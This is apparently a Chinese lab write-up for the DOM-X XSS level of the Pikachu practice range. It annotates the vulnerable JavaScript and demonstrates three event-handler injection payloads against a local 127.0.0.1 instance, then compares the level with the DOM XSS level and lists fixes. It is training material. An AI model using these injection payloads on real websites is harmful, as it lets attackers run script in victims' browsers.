目录
一、XSS
二、DOM型XSS
三、源码分析
1、打开DOM-X型XSS关卡
2、XSS探测
3、源码分析
四、渗透实战
1、Payload1
2、Payload2
3、Payload3
五、DOM型XSS与DOM-X型XSS区别
本系列为通过《pikachu靶场通关笔记》的XSS攻击关卡(共10关)渗透集合,通过对XSS关卡源码的代码审计找到真实原因,讲解XSS原理并进行渗透实践,本文为XSS关卡05-DOM-X型XSS的渗透部分,并对比04关DOM型XSS,从源码分析和原理对比两者的区别。
一、XSS
XSS 全称为跨站脚本攻击(Cross - Site Scripting),因其高危害性长期位列OWASP Top 10安全威胁。攻击者通过注入恶意脚本(通常为JavaScript)到网页中,脚本在其浏览器执行。XSS主要分为3种类别,具体如下表所示。
分类 | 存储型XSS (Stored XSS) | 反射型XSS (Reflected XSS) | DOM型XSS (DOM-based XSS) |
---|---|---|---|
存储位置 | 服务器(数据库/文件) | URL参数(不存储) | 前端DOM(不经过服务器) |
触发方式 | 用户访问被污染的页面自动执行 | 用户点击恶意链接后临时反射执行 | 前端JS操作DOM时动态触发 |
持久性 | 长期存在 | 一次性(需诱导点击) | 依赖用户当前页面操作 |
检测难度 | 中(需扫描存储内容) | 中(需构造恶意URL) | 高(需人工审计前端代码) |
典型场景 | 论坛评论、用户资料页 | 搜索框、错误页面 | SPA应用、动态路由 |
服务端参与 | 是(存储+返回恶意代码) | 是(反射恶意代码) | 否(纯前端) |
防御重点 | 输入过滤+输出编码 | URL参数消毒+CSP策略 | 安全的DOM操作+前端验证 |
修复成本 | 高(需清理数据库) | 中(修改参数处理逻辑) | 中(重构前端代码) |
二、DOM型XSS
DOM型XSS(DOM-based XSS)是一种纯客户端的跨站脚本攻击,恶意脚本通过前端JavaScript动态操作DOM触发,不经过服务器处理。攻击者利用URL片段(如#<script>alert(1)</script>)或输入字段注入恶意代码,当页面使用innerHTML、eval()或location.hash等危险API解析内容时执行。常见于单页应用(SPA)和动态网页,传统WAF难以检测。与存储型/反射型XSS不同,DOM型完全在浏览器端完成攻击链,是现代化Web应用的高危风险。
分类 | DOM型XSS |
---|---|
别名 | Type-0 XSS、纯客户端XSS |
攻击入口 | URL片段(# 后)、location.search 、前端输入字段(如document.getElementById().value ) |
触发条件 | 前端使用危险API动态操作DOM(如innerHTML 、document.write 、eval() ) |
数据流 | 不经过服务器,直接在浏览器端解析执行 |
攻击特点 | 绕过服务端检测(WAF无效),依赖前端代码逻辑风险 |
防御措施 | 1. 避免innerHTML (用textContent 或createElement )2. 输入消毒(DOMPurify库) 3. CSP策略(禁止内联脚本) |
检测难点 | 需人工审计前端代码,自动化工具易漏检 |
三、源码分析
1、打开DOM-X型XSS关卡
进入pikachu靶场XSS系列的05关卡 DOM-X型XSS页面,让说出你的伤心往事,具体打如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php
2、XSS探测
输入关键字判断是否有过滤,关键字包括:单引号、双引号、左右尖括号、问号、&、字符串与数字,接下来我们在搜索框输入'"<>?&ljn20241019进行探测,如下所示。
'"<>?&ljn20241019
点击如上链接进入下图界面,发现此时输出的内容与上一步的输入有区别, 如下所示。
3、源码分析
查看DOM-X型XSS关卡源码xss_dom.php文件内容,右键源码,CTRL+F搜素关键词上图中出现的关键字“风”,发现一个js函数,利用了DOM将字符串进行了拼接并把值给a标签的href,然后输出,具体如下所示。
这段代码存在DOM-X型 XSS 安全风险,具体的源码经过详细注释后如下所示。
<div class="page-content"><div id="xssd_main"><script>function domxss(){var str = window.location.search;// 从URL获取参数var txss = decodeURIComponent(str.split("text=")[1]);// 解码URL编码并提取text参数值(危险操作!)var xss = txss.replace(/\+/g,' ');// 将+号替换为空格(不影响XSS攻击)// 直接将用户输入拼接到HTML中(核心注入点)document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";}// 攻击者可以尝试以下Payload:// 1. '><img src="#" onmouseover="alert('xss')">// 2. ' onclick="alert('xss')"></script><!-- 表单提交text参数到当前URL --><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="请说出你的伤心往事"/></form><!-- 恶意代码将注入到这个DOM节点 --><div id="dom"></div></div>
</div>
分析可知本关卡JS代码定义了一个domxss函数,它利用 window.location.search 获取浏览器中URL的内容,然后赋值给str,然后经过URL解码和字符串分隔,取出URL中的参数内容。再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。函数的执行流程如下所示。
步骤 | 代码 | 作用 | 风险 |
---|---|---|---|
1 | window.location.search | 获取URL中? 后的查询字符串(如?text=payload ) | 直接暴露用户可控输入 |
2 | str.split("text=")[1] | 提取text 参数的值(未检查参数是否存在) | 若text 不存在会导致undefined 错误 |
3 | decodeURIComponent() | 解码URL编码字符(如%3C 恢复为< ) | 还原可能含有的恶意代码 |
4 | replace(/\+/g, ' ') | 将+ 号替换为空格(URL中空格可能被编码为+ ) | 不影响XSS攻击 |
5 | innerHTML = "<a href='"+xss+"'> | 动态生成<a> 标签,用户输入直接拼接到href 属性 | 未转义字符导致DOM-XSS风险 |
本关卡的根源在于不可信数据未经验证直接插入DOM,关键代码如下所示。
function domxss() {// 获取当前URL的查询参数(如 ?text=恶意代码)var str = window.location.search;// 提取text参数值并解码URL编码var txss = decodeURIComponent(str.split("text=")[1]);// 将+号替换为空格(处理URL中空格被编码为+的情况)var xss = txss.replace(/\+/g, ' ');// 将用户输入拼接到<a>标签的href属性中,并插入DOMdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
四、渗透实战
渗透的方法是通过<a href='"+xss+"'>就让往事都随风,都随风吧</a>构成闭合,对比DOM型XSS关卡的闭合参数如下所示。
DOM-X型:<a href='"+xss+"'>就让往事都随风,都随风吧</a>
DOM型: <a href='"+str+"'>what do you see?</a>
1、Payload1
payload1: #' οnclick=alert("ljn")>
#' onclick=alert("ljn")>
闭合后:<a href='#' οnclick="alert("ljn")">'>就让往事都随风,都随风吧</a>
点击请说出你的伤心事后,下方生成链接,URL地址如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%23%27+onclick%3Dalert%28%22ljn%22%29%3E#
经过URL decode后的完整URL链接如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=#'+onclick=alert("ljn")>#
点击链接后,弹框ljn,接下来进行如下分析:右键元素-点击查看器-Ctrl+F搜索关键字“风”,如下所示。
2、Payload2
payload3: ' οnclick="alert('ljn')">
' onclick="alert('ljn')">
闭合后:<a href οnclick="alert('ljn')"> >'就让往事都随风,都随风吧</a>
如上所示,点击请说出你的伤心事后,下方生成链接,URL地址如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27ljn%27%29%22%3E
经过URL decode后的完整URL链接如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='+onclick="alert('ljn')">
点击链接,弹出“ljn”,XSS攻击成功,如下所示。
3、Payload3
payload3: '><img src="#" οnmοuseοver="alert('ljn')">
'><img src="#" onmouseover="alert('ljn')">
闭合后:<a href><img src="#" οnmοuseοver="alert('ljn')">'>就让往事都随风,都随风吧</a>
再次点击“有些费尽心机想要忘记的事情,后来真的就忘掉了”的URL链接。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text=%27%3E%3Cimg+src%3D%22%23%22+onmouseover%3D%22alert%28%27ljn%27%29%22%3E
经过URL decode后的完整URL链接如下所示。
http://127.0.0.1/pikachu/vul/xss/xss_dom_x.php?text='><img+src="#"+onmouseover="alert('ljn')">
点击链接后生成如下界面,注意红框处是一个图表,鼠标放到下图红框处就可以弹框。
鼠标放到上图红框部分,即可弹框“ljn”,说明渗透成功,具体如下所示。
五、DOM型XSS与DOM-X型XSS区别
第四关DOM型XSS关键代码如下所示,参数从表单获取。
var str = document.getElementById("text").value; // 从页面表单获取用户输入
// 将用户输入拼接到<a>标签的href属性中,并插入DOM
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
第五关DOM-X型XSS关键代码如下所示,参数从URL种获取。
var str = window.location.search;// 获取当前URL的查询参数(如 ?text=恶意代码)
var txss = decodeURIComponent(str.split("text=")[1]); // 提取text参数值并解码URL编码
var xss = txss.replace(/\+/g, ' ');// 将+号替换为空格(比如处理URL中空格被编码为+的情况)// 将用户输入拼接到<a>标签的href属性中,并插入DOM
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧
分析可知相比DOM型的XSS,DOM-X型XSS危害更大,因为它能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击,两者详细区别如下所示。
对比维度 | dom-x xss关卡 函数(第五关) | dom xss 函数(第四关) |
---|---|---|
输入来源 | 从window.location.search获取URL参数(如?text=脚本 ) | 从document.getElementById("text").value获取表单输入值 |
触发方式 | 页面加载时自动执行 (需直接访问含恶意参数的URL) | 需要用户手动输入内容并点击按钮触发 |
攻击复杂度 | 低(攻击者只需构造恶意URL) | 中(需要诱导用户在输入框输入恶意内容并点击) |
利用场景 | 通过钓鱼链接传播 | 需要用户主动在页面交互 |
参数处理 | 自动解码URL编码(decodeURIComponent) | 直接使用原始输入(未解码URL编码) |
代码相似点 | 均使用innerHTML 直接拼接未过滤的用户输入到DOM | 均使用innerHTML 直接拼接未过滤的用户输入到DOM |
典型攻击Payload | ?text='><img src=x onerror=alert(1)> | 输入框输入:'><img src=x onerror=alert(1)> |
防御难度 | 更难防御(URL参数可能被各种工具自动编码/解码) | 较易防御(可通过前端输入检查拦截) |
修复建议 | 1. 使用textContent 替代innerHTML 2. 严格校验URL参数 | 1. 使用textContent 2. 表单输入时实时过滤特殊字符 |